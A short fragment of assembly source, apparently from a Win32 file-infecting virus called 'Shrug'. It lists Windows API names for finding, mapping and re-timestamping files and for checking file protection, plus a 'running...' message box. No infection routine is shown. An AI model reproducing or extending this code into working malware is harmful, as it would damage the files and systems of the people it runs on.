stringz "FindClose" stringz "FindFirstFileW" stringz "FindNextFileW" stringz "GetFullPathNameW" stringz "GetTickCount" stringz "GlobalAlloc" stringz "GlobalFree" stringz "LoadLibraryA" stringz "MapViewOfFile" stringz "SetCurrentDirectoryA" stringz "SetCurrentDirectoryW" stringz "SetFileAttributesW" stringz "SetFileTime" stringz "UnmapViewOfFile" sfcnames: stringz "SfcIsFileProtected" ntdll: stringz "ntdll" txttitle: stringz "Shrug" txtbody: stringz "running..." .global GetModuleHandleA .type GetModuleHandleA, @function .global MessageBoxA .type MessageBoxA, @function .global ExitProcess .type ExitProcess, @function